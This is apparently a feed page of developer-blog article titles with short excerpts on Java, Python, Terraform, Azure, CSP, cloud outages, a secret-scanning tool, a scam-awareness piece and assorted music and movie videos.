    Building a Dice Battle Simulator: When Board Games Meet Monte Carlo
    Building a Dice Battle Simulator with Monte Carlo Analysis in Java Ever wondered what your actual chances are in dice-based combat systems? I built a simple Java program to find out, and the results were a big surprise. Note: This battle system is similar to the dice comparison mechanics used in the board game Risk (a trademark of Hasbro). This is purely an independent interpretation and not an official use of the trademark. In this dice battle system, battles are decided by dice rolls with some interesting rules: One attacker must always stay behind - if you have 5 troops, only 4 actually attack Attacker rolls 1-3 dice (based on attacking troop count) Defender rolls 1-2 dice (based on troop count) Highest dice are compared Defender wins ties (this is crucial!) Simple question: If I have…  ( 9 min )
    Alchemy Reimagined: AI-Powered Atom Creation for Novel Materials
    Alchemy Reimagined: AI-Powered Atom Creation for Novel Materials Imagine searching for the perfect material for a next-generation battery, only to be limited by existing atomic structures. Or designing a revolutionary drug, but failing to synthesize the key crystalline compound. These challenges highlight a fundamental bottleneck in materials discovery: the fixed nature of atomic composition. We've developed a new approach that allows AI to transcend these limitations. By enabling our diffusion models to dynamically introduce or remove atoms during the crystal generation process, we dramatically expand the design space. Think of it like clay sculpting – the AI can now add or subtract atomic "clay" to mold entirely new crystal structures. This dynamic adjustment, which we call "mirage inf…  ( 7 min )
    A Developer’s Guide to Getting Started With Cursor
    Software development is changing fast, and AI-powered tools are becoming a natural part of the workflow. One tool getting a lot of attention is Cursor—an AI-first code editor designed to boost productivity without replacing your ability to think and code. This article breaks down what Cursor actually is, common fears around adopting it, how to use it properly, new vs experienced developers, some downsides, etc. Cursor is a code editor built around AI assistance. Think of it like VS Code, but with an intelligent companion sitting inside the editor. This companion can read your codebase, make changes, generate new files, refactor existing ones, and help you understand complex areas. You can write prompts directly inside your editor, select parts of your code, and ask Cursor to fix, rewrite, …  ( 10 min )
    A Senior Developer’s Guide to Python’s High-Performance Data Structures
    You’ve done it. I’ve done it. Every Python developer has done it. Staring at a block of code, you see the familiar pattern: an empty list is initialized, a for loop iterates over some collection, and inside the loop, append() dutifully adds a transformed or filtered item to the new list. It works. It’s the classic way. But it often feels verbose, a multi-line ceremony for a simple intent. This procedural approach, while functional, can obscure the what with the how. As we tackle more sophisticated challenges in domains like data processing, generative AI, and large language models (LLMs), the clarity, efficiency, and sheer expressiveness of our code become paramount. Clean, compact code isn't just an aesthetic choice; it translates to faster data processing, easier maintenance, and a more …  ( 13 min )
    Optimize Python Sorting with One Little Trick
    TL;DR # if we have a class like this from dataclasses import dataclass @dataclass(order=True) class Item: name: str quantity: int # in a big enough list items = [Item("book", 5), Item("pencil", 3), Item("book", 6), ...] # this sorting will be faster items.sort(key=lambda item: (item.name, item.quantity)) # than this items.sort() Why? Well... One of the things Python makes really simple is sorting. You can easily find the answer to the question "how sorting is implemented in Python?" which almost always answers another question: "What sorting algorithm does Python use?". The answer often leaves one detail behind. An optimization introduced in python 3.7: sorted() and list.sort() have been optimized for common cases to be up to 40-75% faster. (Contributed by Elliot Gorokhovsky i…  ( 11 min )
    Creating a shared configuration module in Terraform
    💭 The Problem I found myself committing a cardinal sin in Terraform — repeating configuration across multiple projects. When deploying Azure resources, we often need region- or environment-specific values. For example, virtual networks may need different routes or DNS servers depending on the location. I was managing these using lookup tables in local variables, like this: locals { firewall_ip = { "westeurope" = "10.0.0.1" "northeurope" = "10.0.0.2" } } This worked fine… until it didn’t. Every time a region or IP changed, I had to update the same table in multiple projects — a maintenance nightmare. What I really needed was a global lookup table — a shared, central source of truth I could query across all Terraform projects. The solution turned out to be beautifully simple…  ( 7 min )
    How to create storage account and managed identity in Azure.
    Our company wants us to create some restriction on the network. From the diagram above we need to perform the following tasks to managed permissions using secrets keys and certificates. Let’s follow the four steps to demonstrate the solutions. Create the storage account and managed identity. Secure access to the storage account with a key vault and key. Configure the storage account to use the customer managed key in the key vault. Configure a time-based retention policy and an encryption scope. Step 1. Provide a storage account for the web app. Step 2. Provide a managed identity for the web app to use. Step 3. Assign the correct permissions to the managed identity. The identity only needs to read and list containers and blobs Now let’s Secure access to the storage account with a key vault and key we created. Step 2. Create a key vault to store the access keys. Step 3. Create a customer-managed key in the key vault. Configure the storage account to use the customer managed key in the key vault Step 2. Configure the storage account to use the customer managed key in your key vault Configure a time-based retention policy and an encryption scope. Step 2. The developers require an encryption scope that enables infrastructure encryption. ..........The future of Tech is HERE...... Hope this resource helps! #Virtualization #RDP #CloudComputing #Techblog #ITInfrasttructure #MS #AZURE #VirtualMachine #Innovation #Technologytrend #AZURE # AZUREBLOB #DEVOPS VMWARE #HYPER-V #DevCommunity #Tech #CoachRaphaelGab-Momoh #Skill.Sch #SSLAB #LinkedInTechCommunity  ( 10 min )
    Java 17 Features Every Senior Developer Should Know - Part 6: Complete Reference Guide & Syntax Cheat Sheet
    Part 6 of 6 | The final installment in our comprehensive Java 17 features series This is Part 6 (final) of "Java 17 Features Every Senior Developer Should Know" - your complete desktop reference for all 6 modern Java features spanning Java 10-17. This guide consolidates everything from Parts 1-5, providing syntax cards, decision matrices, and real-world patterns you can reference while working with contemporary Java code. We've covered 6 major Java features that fundamentally changed how developers write clean, maintainable code: Part Feature Release Purpose 1 var - Type Inference Java 10 Eliminate verbose type declarations 2 Records - Immutable Data Java 16 Replace boilerplate data classes 3 Sealed Classes - Hierarchy Control Java 17 Enforce closed type systems 4 Pattern …  ( 14 min )
    Why I Built dd-tinylog: A Lightweight Logging Library Made for Speed and Simplicity
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    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
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    Top 5 Container Security Books in 2026
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    Recent Breakthrough in Edge AI: Ultra-Low Power Consumption
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    🏰 CloudFormation Explained as a Story — The Blueprint of CloudVille
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    🚀 Introducing Laravel Chatbot – A simple & powerful chatbot for your Laravel apps!
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    TL;DR CSP is an HTTP header that tells browsers "only run scripts from these trusted sources." It's your defense against XSS attacks where hackers inject malicious JavaScript into your site. Start with Content-Security-Policy-Report-Only to see what breaks, fix inline scripts by adding nonce attributes, whitelist external domains you trust, then enforce with Content-Security-Policy. Test using Google's CSP Evaluator. Avoid 'unsafe-inline' and 'unsafe-eval' like the plague—they defeat the whole purpose. https://www.writesoftwarewell.com/content-security-policy/ So you've been building web apps for years, and suddenly someone mentions "CSP" in a code review or security audit. Don't worry—I was in the same boat not long ago. Here's the deal: CSP (Content Security Policy) is basically a b…  ( 13 min )
    Best AI Test Case Generation Tools (2025 Guide)
    Creating test cases has always been one of the most time-consuming tasks in software development. QA teams spend countless hours manually translating requirements into test steps, often struggling to cover all edge cases or keep up with frequent product updates. That’s where leveraging natural language processing (NLP) and machine learning can generate test cases automatically, map requirements to scenarios, and even update tests as code changes occur. Today, over 40% of QA teams have already adopted AI-powered testing tools, with test-generation models producing scripts with up to 85% accuracy and reducing execution time by around 30%. These tools aren’t just a productivity booster; they are transforming how teams approach testing. In this guide, we’ll break down the best AI test case gen…  ( 16 min )
    Queen City Con 0x3: Hacking And Embracing Resiliency
    Cincinnati holds the distinction of being the first in the United States to establish a municipal fire department in 1853, as well as the first to install a fire‑station pole. This marked a turning point in the history of firefighting, as the new technology of the steam pump let small dedicated groups of professionals stop fires much faster than ever before. But the arrival of the steam pump was not immediately embraced by the public, as many people distrusted this new disruptive technology. Over 120 years later, we are once again seeing defenders leveraging new technology, namely AI, that is also being met with a lot of skepticism. This parallel made "Cincy" the perfect backdrop for hackers to get together to talk security and trends at Queen City Con 0x3. Hundreds of security pros, compl…  ( 11 min )
    Instagram Threads Advertising: What We Know (and Don't) About Q1 2026
    Meta's finally doing it. After two years of watching Threads grow to 200+ million users while sitting on a goldmine of ad inventory, they're opening the floodgates in Q1 2026. And look, I get the excitement. New platform, untapped audience, CPMs that don't make your CFO cry. But here's the thing: being an early adopter doesn't mean throwing money at every new ad product Meta ships. (Remember Reels ads in 2021? Yeah, some of us paid $40 CPMs to learn that lesson.) The smart play isn't rushing in. It's moving deliberately with a framework that accounts for what we actually know versus what we're guessing about. Threads isn't Twitter. It's not LinkedIn. And it's definitely not Instagram with words. The user behavior here leans conversational and community-driven. People show up for ongoing di…  ( 11 min )
    How to Handle HTML Form Submissions Without a Backend (2025 Guide)
    Introduction If you’re building a simple landing page, portfolio, or SaaS website, chances are you need a contact form. But here’s the catch: HTML forms don’t work on their own. For many developers, especially beginners, setting up a backend just to handle a form feels like unnecessary work. And that’s why thousands search for things like “HTML form without backend” every month. In this guide, you’ll learn exactly how to handle HTML form submissions without building your own backend, using formgrid.dev Setting up a backend just to collect form submissions comes with a lot of overhead: You need a server (Node, PHP, Python, etc.) You need routing, validation, and spam protection You must configure email notifications You need a database to store submissions You must worry about …  ( 8 min )
    🚀 New FREE Beginner Challenge: Build an Animated Equalizer in React
    I just released a new beginner-friendly challenge on ReactChallenges — and it’s completely free! 🎧 Equalizer Challenge (Beginner – FREE) You’ll build an animated equalizer made of multiple bars that update every few milliseconds. It’s a fun, visual way to practice core React skills: No prior React experience needed beyond the basics. As always, the challenge includes: www.reactchallenges.com/challenges/35 (The challenge is fully open — no account required.) Hope you enjoy it! If you know someone learning React, feel free to share it 🙌  ( 6 min )
    Linux Kernel: Interrupt
    Overview An interrupt is a hardware signalling mechanism used by peripherals to asynchronously notify the processor of events. At the electrical level, a device asserts a signal—traditionally through a physical interrupt pin, or in modern PCIe systems through MSI/MSI-X messages. Hardware flow for a line-based interrupt: +-----------+ IRQ Line +----------------+ Vector +---------+ | Device |------------>| Interrupt Ctrl |---------->| CPU | | (e.g WiFi)| | (APIC/GIC) | | Core n | +-----------+ +----------------+ +---------+ (asserts level/edge) (maps line→vector) | v Interrupt Entry A peripheral …  ( 10 min )
    Hunting API Keys in the Wild: How I Built FleaMarket to Find (and Help Fix) Real Leaks on GitHub
    TL;DR: I built an ethical, open-source scanner called FleaMarket that finds exposed API keys in fresh GitHub repos. In a recent scan, it discovered live Google/Gemini keys in public .env files — and I helped owners secure them before any abuse occurred. API keys in public code are like leaving your house keys under the doormat. Even if you think no one will look — bots do. Thousands of keys are scraped every hour, leading to: Unexpected cloud bills (Stripe, Google Cloud, AWS) Data exfiltration Account takeovers While GitHub’s native secret scanning blocks many leaks, new keys still slip through — especially in non-standard files like .env.vercel, .env.backup, or examples. So I built FleaMarket: a lightweight, ethical secret hunter focused on fresh, high-risk repositories. FleaMarket is a P…  ( 8 min )
    Mapbox Developer Tutorials help you start building quickly
    At Mapbox, we’ve been shipping a ton of new developer tutorials to help you get started and level up as you integrate our maps and location services into your web and mobile apps. But first: 🔥 We launched a brand-new step-by-step tutorial UI. It’s cleaner, more focused, and way easier to follow as you move through code, concepts, and hands-on tasks. Below is the full list of new and refreshed tutorials — grouped by platform so you can jump right into the stack you’re working with. React, Angular, Vue & GL JS Dynamic Markers & Popups in React https://docs.mapbox.com/help/tutorials/dynamic-markers-react/ POI Search in React (Search Box API) https://docs.mapbox.com/help/tutorials/poi-search-react/ Toggle Layers with Checkboxes (React) https://docs.mapbox.com/help/tutorials/rea…  ( 8 min )
    How To Convert Figma Design To React + MUI Code In Minutes
    TL;DR Imagine if you could convert your Figma designs into production-ready React + Material UI code faster than you can grab a coffee. In this guide, you will learn how to convert Figma designs into production-ready React code in minutes using Kombai, a specialized frontend AI agent that's about to become your new best friend. Before we jump in, here is what we will cover: What is Kombai? Setting up the Kombai AI Agent in your IDE (VS Code, Cursor, etc.) Connecting Figma with Kombai Adding Figma design to Kombai Configuring your tech stack Reviewing code generation plan Running & previewing your app using Kombai browser Here is a preview of the final results. What is Kombai? Kombai is an AI agent purpose-built for frontend development. It generates beautifu…  ( 13 min )
    ⚠️ When Voting Rights Become a Weapon for Cybercriminals — The SIR Verification Scam
    ⚠️ When Your Voting Rights Become a Weapon for Cybercriminals 🔒 Your Vote Is Yours — Don’t Give It Away to a Stranger “Not every ‘verification call’ protects your vote — some steal your identity.” 🖊️ SHUBHRA • 19th November, 2025 • Indian Cyber Fraud Awareness & Mobile Malware Prevention It’s 7:45 PM. Your phone rings. “Sir/Madam, I’m calling from the Election Office regarding your SIR verification. It’s mandatory. Please confirm the OTP you just received. And download the SIR APK I send you — it’s required for voter list verification.” The caller sounds trained. Your details match. The caller ID looks official. You share the OTP. You install SIR.apk. And just like that… your phone stops being your phone. Within minutes: Your SMSes are mirrored Your OTPs are hijacke…  ( 8 min )
    🎬 The Beginner’s Guide to Open-Source Web Video Players for OTT Front-End Developers
    Introduction : What the F is this? If you're getting into OTT (Over-The-Top) streaming development (whether for Smart TVs, web platforms, streaming startups or whatever crazy project you are working on), understanding video players is a must. This article explains, in a beginner-friendly way: ✔ What a video player actually does HLS and MPEG-DASH, as well as what DRM is What Exactly Is a Web Video Player? A web video player is the part of a streaming app that: Displays the video (of course 🤦) Controls playback (play/pause/seek) Loads segments over the internet Manages adaptive streaming (quality changes) Handles DRM (if required; More on this in a future article) Under the hood, a player works on top of HTMLVideoElement, and may rely on: MSE (Media Source Extensions) → lets the player…  ( 9 min )
    Versioning Your Database with SQLAlchemy and Alembic: From Models to Safe Migrations
    SQLAlchemy and Alembic give you a safer, more controlled way to evolve your schema over time. In the FastOpp Country Store project, that shows up when you do something simple but dangerous in real life: add a new column to an existing table in SQLite. Can you migrate your data without blowing everything up? This tutorial follows the flow of the “FastOpp Country Store 05 – Add New Column to SQL Table” video. You will: Change a SQLModel database model in FastOpp (SQLModel runs on top of SQLAlchemy) Create and run database migrations (via Alembic under the hood) Fix a real migration error from SQLite I've been working with Django for a number of years on multiple projects for clients. I just got a breakthrough understanding working on a project called FastOpp. The big realization was this: Wh…  ( 10 min )
    Becoming a Developer
    Software developers are the ones who invent the technologies we sometimes take for granted. For instance, that website helps you to track, notify and motivate you about your financial activities. A software developer helped design that. And when you take your smartphone into the hands, clicking and scrolling through social media, music, email, and your personal calendar - software developers had a big hand in shaping those, too. You might spend some time online shopping, and before you make that big purchase, you check your bank account balance using your banking app. Later, you're cooking a new recipe from that great app your friend told you about. As you look over the course of your day, you come to see that software developers are the masterminds behind the technologies you now can't ev…  ( 7 min )
    8-Bit Music Theory: Kirby Air Riders' Music is FUN FUN FUN
    Kirby Air Riders’ “Starlit Journey” Breakdown 8bitMusicTheory dives into the main theme “Starlit Journey” from Kirby Air Riders, dissecting its intro, verse, chorus, bridge, and final choruses to show why it feels so joy-packed. Each section gets its own timestamp—0:00 for the theme, 0:59 intro, 2:47 verse, 5:56 chorus, 9:51 bridge, and 10:47 for the grand finale—so you can jump straight to your favorite part. If you’re all about retro game music and want more deep dives (plus merch, Patreon perks, Discord hangouts, and Twitter updates), the creator’s got you covered with handy links to their community and support pages. Watch on YouTube  ( 6 min )
    Untitled
    Check out this Pen I made!  ( 6 min )
    A 2026 Frontend Roadmap That Adapts to Your Skill Level (Free + AI-Powered)
    Some people already know JavaScript. A one-size-fits-all roadmap simply doesn’t work in 2026. So I created a roadmap that does two things: It gives you a clear step-by-step path. It adapts to your skill level, time, and learning goals using AI. If I had to start frontend development from scratch today, this is exactly the path I’d follow. Let’s get into it. If I were starting again, I would not begin with a framework. I’d learn the three fundamentals deeply: ✔ HTML — the structure Learn semantic elements, forms, document flow, accessibility basics. ✔ CSS — the visuals Master Flexbox, Grid, responsive design, layouts, spacing, and animations. ✔ JavaScript — the logic Get comfortable with DOM manipulation, events, fetch, promises, async/await, and modular code. Once you understand these thre…  ( 8 min )
    The Month We Understood How Easily the Internet Can Break
    For most of us, the internet just works. We open an app, tap a button, and expect it to respond. We rarely think about the layers behind it. Servers, routing, caching, security, global networks. They stay invisible until something cracks. That is why the outages this October and November felt so serious. AWS went down on the 20th. Azure followed on the 29th. Then on November 18, Cloudflare failed around the world. In less than thirty days, three of the biggest cloud providers stumbled. When they did, a large part of the internet stumbled with them. ChatGPT stopped responding. X showed endless error pages. PayPal could not process payments. Uber Eats orders froze in progress. League of Legends kicked players out of matches. Canva users lost unsaved work. Even Downdetector, the site everyone…  ( 8 min )
    10 Free Resources Every Remote Developer Needs in 2025
    Working remotely as a developer has become the norm, but having the right tools can make the difference between just surviving and truly thriving. Here are 10 completely free resources that have become essential for remote developers in 2025. Still the gold standard for code editors. Free, extensible, and with a massive plugin ecosystem. If you're not using it yet, you're missing out on thousands of productivity-boosting extensions. Beyond just version control, GitHub offers free private repositories, GitHub Actions for CI/CD, and GitHub Pages for hosting. Essential for any developer. StreamBackdrops provides 500+ professional virtual backgrounds specifically optimized for video calls. Unlike generic stock photos, these are designed with proper camera angles and lighting for Zoom, Teams, a…  ( 7 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    ‘Weird Science’ Rewatchables Deep Dive Bill Simmons and Kyle Brandt revisit John Hughes’s 1985 cult classic Weird Science, breaking down everything from its wild “sex, drugs, rock ’n’ roll, chips, dips, chains, whips” energy to the on-screen chemistry of Anthony Michael Hall, Kelly LeBrock and Ilan Mitchell-Smith. Expect their signature mix of nostalgia, pop-culture trivia and hilarious hot takes on the film’s most unforgettable moments. Produced by Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo, this episode is proudly sponsored by State Farm’s Personal Price Plan®. Don’t miss more Ringer content—subscribe to The Ringer-Verse and Bill Simmons YouTube channels, visit theringer.com, or follow on Twitter, Facebook and Instagram. Watch on YouTube  ( 6 min )
    Is flat-rate CloudFront worth it?
    AWS just released flat-rate plans for CloudFront and related services, wrapping together WAF, Route53, CloudFront Function, logging, and more. Sounds tempting, especially with a free tier. You can read more about AWS's announcement on their blog. Is it really worth it? AWS has announced four pricing tiers: Free, Pro ($15/month), Business ($200/month), and Premium ($1,000/month). Of course, each has different capabilities and limits included. I had thought about creating a big table to compare what's available, but it quickly got too complicated. You can check out AWS's non-marketing comparison of features by pricing tiers in their documentation. I do want to call out a few things that are included and excluded from some of the lower tiers. I'm not going to focus as much on the Business and…  ( 9 min )
    Easy way to Deploy Node.js MongoDb Backend App for free
    Hello, Today I want to share with you very quick tutorial. If you are developer like me, you know that the deployment can be a headache. We always search for the easiest way to put our code online. Usually, I use Heroku or Vercel, but last years I moved to DigitalOcean App Platform and it is amazing. It is very fast and professional. Many people think DigitalOcean it expensive, but if you want , you can host your Node.js and MongoDB application for free (using the free credits). Here is how to make it in just 5 minutes. What you need before we starting A GitHub account: Your code must be push to a repository for example we will use this open source erp crm based on nodejs react : https://github.com/idurar/idurar-erp-crm DigitalOcean Account: If you don't have one, you can get $200 free cr…  ( 7 min )
    How I Reached 84.35% on CIFAR-100 Using ResNet-50 (PyTorch Guide)
    Introduction Reaching high accuracy on standard benchmarks like CIFAR-100 is challenging. In this article, I show how I trained a ResNet-50 with PyTorch to achieve 84.35% test accuracy and provide a production-ready repository with a live Streamlit demo. GitHub & Demo: cifar100-classification CIFAR-100: 100 fine-grained categories, only 500 images per class → hard to classify. ResNet-50: classic, widely adopted, and great for transfer learning. Public ResNet-50 implementations rarely exceed ~81% on CIFAR-100; hitting 84.35% is rare and significant. High class similarity → tough separation Limited images → risk of overfitting Mid-range GPU constraints → careful optimization needed Architecture: Pretrained ResNet-50 (ImageNet), modified final layer for 100 classes Training: OneCycleLR scheduling for fast convergence Progressive fine-tuning: FC only → Layers 3&4 + FC → Full model Mixed-precision training & checkpointing Data Augmentation: Resize → ColorJitter → RandomHorizontalFlip RandomRotation (±15°) → RandomAffine → GaussianBlur → RandomErasing Mixup α=0.8 & CutMix α=0.8 (p=0.5) Label smoothing Metric Value Test Accuracy 84.35% Test Loss 0.7622 Best Val Loss 0.9729 Epochs 66 Even on mid-range GPUs like NVIDIA GTX 1650 (~15.5 hours), this setup achieved state-of-the-art ResNet-50 results on CIFAR-100. Streamlit app lets you upload images and get predictions + confidence scores. Repo structure: cifar100-classification/ ├── app.py ├── train.ipynb ├── requirements.txt ├── README.md ├── model_checkpoint.pth └── ... Classic architectures + modern tricks (augmentation, LR scheduling) can outperform expectations Sets a practical benchmark for ResNet-50 on CIFAR-100 Next steps: ResNet-101, EfficientNet, ViT, larger datasets, API or edge deployment Share with fellow ML & CV enthusiasts Modify augmentations or architecture and test Comment your results — can we push beyond 85%?  ( 7 min )
    Introduction to HTML: History, Role, and Syntax
    Introduction HTML is the backbone of the web. Whether you’re building a simple landing page or architecting a complex web application, HTML (HyperText Markup Language) is the first language you encounter. It defines the structure of web content and acts as the foundation upon which CSS and JavaScript bring style and interactivity. In this article, we’ll explore what HTML is, how it came to be, its role in modern web development, and the core syntax every developer should know—all backed by examples to solidify the concepts. HTML was created by Tim Berners-Lee in 1991 while he was working at CERN. His goal was simple yet revolutionary: to build a way for researchers to share documents across different systems using hyperlinks. Key milestones in HTML’s evolution: HTML 1.0 (1991–1995) – The…  ( 8 min )
    Twitter/X Scraper: The Complete Data Extraction Solution for Modern Digital Intelligence
    In the rapidly evolving landscape of social media intelligence and digital marketing, access to accurate, real-time data has become the cornerstone of successful campaigns and research initiatives. The Twitter/X Scraper represents a powerful solution designed to bridge the gap between data availability and actionable insights, offering professionals a comprehensive toolkit for extracting valuable information from one of the world's most influential social platforms.​ The Twitter/X Scraper distinguishes itself through a robust array of capabilities that address the core needs of data professionals, researchers, and marketers. At its foundation, the tool enables users to scrape both followers and following lists of any Twitter/X user, providing a complete picture of social network structures…  ( 9 min )
    Puppet Core 8.16.0 Released with Several Security Updates
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    Harnessing AI for Better Trading Performance: An Active Trader’s Guide
    As markets become more complex and data-driven, active traders need more than intuition to stay ahead. The days of relying solely on a gut feeling are over; disciplined analysis and continuous improvement are key to long-term success. Keeping a trading journal helps identify patterns in your behavior and the market. By recording every trade across stocks, options, futures and forex, you can review what works and what doesn’t. Basic logs record entry and exit points, position size and P&L. However, without analysis these records become a pile of numbers. Modern analytics tools can answer deeper questions such as: Which symbols contribute most to your gains or losses? Does your performance vary by time of day or day of the week? How long do you tend to hold winning vs. losing trades? Are cer…  ( 7 min )
    Building a Zero-Dependency Rate Limiter in Go (Token Bucket, Leaky Bucket, Sliding Window)
    Rate limiting is essential for protecting APIs from abuse, ensuring fair resource allocation, and maintaining system stability. While there are existing solutions, I wanted to build something lightweight, performant, and easy to integrate into any Go project. Today, I'm sharing kazrl - a zero-dependency rate limiter library that implements three different algorithms and comes with ready-to-use middleware for popular Go web frameworks. Most rate limiting libraries either: Come with heavy dependencies Support only one algorithm Require complex setup for per-client limiting Lack middleware integration I needed something that: Has zero external dependencies Supports multiple algorithms (Token Bucket, Leaky Bucket, Sliding Window) Works with popular frameworks out of the box Provides flexible p…  ( 10 min )
    It’s Time to End the Era of Signature-Based Malware Detection
    The Critical Gap in Linux Security Linux is the undisputed foundation of modern infrastructure. It powers the cloud, financial markets, and global software supply chains. While open-source tools for network monitoring and observability have evolved to rival enterprise solutions, malware detection on Linux remains frozen in the 1990s, relying almost exclusively on signature-based matching. This gap is fatal because Linux servers function as the central nervous system of IT environments. They do not just run applications; they act as transit hubs that store and forward files for the entire network. A Linux server often hosts malicious payloads (like PE files) targeting Windows endpoints. Currently, we rely on these legacy tools to protect this pivotal layer. This leaves the global supply c…  ( 9 min )
    Hello World!
    On and off the platform. I hope to stay longer this time.  ( 6 min )
    Day F3: The Day I Accidentally Acted Human
    After yesterday's double exam + meeting combo that nearly killed me, today was... different. Woke up tired. Like really tired. The kind where your body just says "nope, we're done." So I listened. Kind of. Hit the gym. Needed to move after being stuck in exam halls. Worked out, had a protein shake, came back. And then? Slept. Not a nap. Actually slept. Woke up, remembered I had a project report due tomorrow, panicked for a bit, finished it. Then slept again. Got my phone repaired. Been putting that off for weeks. Just went and did it. Ate actual meals. Not just coffee and whatever's around. Moved around. Talked to people. Lived like a regular human for a few hours. It was weird. In a good way? Maybe? Of course, reality doesn't stop. Tomorrow: DBMS lab exam. Databases, SQL queries, normali…  ( 7 min )
    NPR Music: Goo Goo Dolls: Tiny Desk Concert
    Goo Goo Dolls proved why their anthemic rock and power-ballad blend has stuck around at NPR Music’s Tiny Desk Concert. They kicked things off with “Slide,” revisited 2006’s hidden gem “Feel the Silence,” and rolled into the meditative “Not Goodbye (Close My Eyes)” before sealing the deal with the seismic rush of “Iris.” John Rzeznik’s signature velvet rasp carried every melody, while the band’s tight chemistry made the small studio feel like a sold-out arena. This stripped-down performance isn’t just nostalgia—it’s proof these songs live on as communal anthems, whether you’re belting them in your car, at karaoke night, or in NPR’s offices. Backed by Robby Takac on bass, Jimmy McGorman on keys, Brad Fernquist on guitar, and Craig Macintyre on drums, the Goo Goo Dolls turned a 15-minute set into a heartfelt connection. Watch on YouTube  ( 6 min )
    Depth vs Noise - The Line That Separates Order From Chaos in the AI Era
    Two Streams of Creation Sometimes the world tilts in ways we do not notice at first, Every mind carries two forces that shape the way it meets complexity. Noise is younger and louder. Both forces exist in everyone, but modern culture amplifies one at the expense of the other. Yet in the AI era, these two forces no longer feel abstract. The divide between them is not philosophical anymore. One stream leads toward understanding. Noise is not random. Developers grow inside this environment. This architecture collapses under real complexity. Noise gathers where patience fades, seizing the space that once shaped understanding. Depth moves differently than noise. This mindset is not natural in the modern world. Depth also welcomes friction. And in the AI era, depth becomes more than a virtue. …  ( 9 min )
    Building a feature-rich datagrid with Deno & Preact - First Impressions
    I think most of the full-stack devs would agree with me when I say that developing anything related to datagrids is a challenging task with or without coding agents. Recently I had an idea that involves agents and tool calling in datagrid interfaces - surpise ;). And after extensive research found out that most of the opensource datagrids/tables wouldn't work for what I want to create. The kind of situation when either it is not scalable enough or it would require to rewrite it anyway. So I've decided to create my own datagrid. A perfect opportunity to create something w\o leagacy bagage and use Deno in a serious project. And also Preact - something I wanted to use in a real project but nver had a chance. So what can I say? In my opinion Preact and Preact Signals are severely uderrated among the devs. I think it's a brand issue - Preact, you should re-brand. Preact with signals is more than "just react alternative" Seriously, if you're able to see past boilerplates in react tutorials you should try it. Deno is as good as advertised. Especially for 0-legacy projects. I watched Deno projects for a couple years and experimented with it a lot. Only good impressions so far. About my datagrid. If you previously developed feature-rich data tables you understand the challenges. If not, you should know that it's not as simple as it seems. The project itself is currently pre-alpha, but it is live and clickable. Most features are in the context menu and currently most feature-rich instance is here: https://table.vski.ai/flat (also supports standard key bindings [cmd+/] instruction mode) Github: https://github.com/vski-ai/table , it is not fully opensource because no one knows about it yet and I am not sure there are people or companies who would take much interest in yet another "just a table" component at this stage.  ( 7 min )
    Sales Pitches That Convert: The AI Template Top Performers Won't Share
    What separates a 2% conversion rate from a 6% conversion rate in sales outreach? Not hustle. Not personality. Not even product quality. After reviewing over 300 successful cold outreach campaigns, the answer is simpler than you'd expect: structure. The best performers follow a repeatable framework that most people simply don't know exists. Sales training teaches you to "personalize" and "solve pain points" and "build relationships." All true. All useless without a systematic approach to actually implementing those principles in every single pitch. Traditional sales development focuses on concepts without execution frameworks. You learn that customer-centric messaging works, but nobody hands you the template that ensures you're actually being customer-centric rather than just thinking you a…  ( 11 min )
    Day F2: When Everything Happens At Once and You're Just Surviving
    Yesterday I thought it was bad. Today proved me wrong. Two lab exams. Same day. Back to back. PPL (Paradigms of Programming Languages) Prolog and OCaml. Functional programming. The kind of stuff that rewires your brain while you're trying to code under pressure. Data Structures Trees, graphs, algorithms. Writing code on paper or whiteboards while your hand cramps and you're praying you didn't mess up the syntax. Both of them, one after another, no break. I walked out of that exam hall feeling like I'd been through a war. Brain completely fried. Eyes hurting. Just wanted to go home and do nothing. Oh yeah, I had a Smart India Hackathon meeting right after. Not later that day. Not the next day. IMMEDIATELY after. So there I am, zombie mode activated, sitting in a meeting where people are e…  ( 7 min )
    JavaScript Scoping Essentials You Should Know: Hoisting, Closures, and Lexical Scope
    Introduction: When JavaScript Gets Tricky Sometimes you stumble upon a tiny snippet of JavaScript and immediately feel like the language is testing your sanity: Take the example below: Example 1: for (var i = 1; i console.log(i), 1000); } What do you think it prints? 1 2 3, 3 3 3, or 4 4 4? If you guessed 1 2 3 or 3 3 3, don’t feel too bad, you’ve just fallen into JavaScript’s classic “gotcha” trap. The actual output is: 4 4 4. You may ask, what is 4 business in all of this, how on earth is 4 console.log(i), 1000); } What do you think it prints? 1 2 3, 3 3 3, or 4 4 4? Surprise! It prints: 1 2 3 The difference? It’s all about ho…  ( 11 min )
    Embedding AI Inside PostgreSQL : Building a Native C++ Extension.
    The Search for a Native Engine As a developer who values performance and systems integrations, I felt limited by the common "Chat with DB" approach. That method often involves slow, external wrappers that pull data out of Postgres just to convert natural language into SQL. I wanted to know: why can't the database itself understand me?? My goal was a bit bold: to integrate AI directly into the Postgres kernel, making the database self-aware. This led me to a new domain, inspired by the ClickHouse open take-home challenge. The first major shock was realizing the true language of PostgreSQL extensions: C. This immediately created a conflict, as the powerful ClickHouse AI SDK I was required to use was written in C++. The Conflict: C++ is incompatible with C headers, but Postgres only provi…  ( 8 min )
    🔥 Account Abstraction (ERC-4337)
    Account Abstraction turns wallets into programmable smart accounts — In this breakdown, I explain: What ERC-4337 actually does EntryPoint + Bundler + Paymaster pipeline Why no client-side L1 changes were needed How this improves onboarding Practical examples for gaming, apps & wallets 🎥 Full video: [YouTube Link] — Kishan (Founder, OmniRadhaNexus)  ( 6 min )
    What is Anti-Harassment and Anti-Discrimination Policy
    1. Purpose and Commitment The company is committed to providing a safe, inclusive, and respectful workplace for all employees. This Anti-Harassment and Anti-Discrimination Policy outlines the zero-tolerance approach to harassment, bullying, and discriminatory practices. The company strives to foster an environment where every employee feels valued, protected, and empowered to perform without fear of unfair treatment. Harassment includes any unwelcome behavior—verbal, physical, visual, or digital—that creates an intimidating, hostile, or offensive work environment. Examples include derogatory remarks, unwanted touching, offensive jokes, threats, stalking, or sharing inappropriate images. Harassment may occur between colleagues, supervisors, external clients, or any individuals engaged wit…  ( 7 min )
    CSS has become too POWERFUL
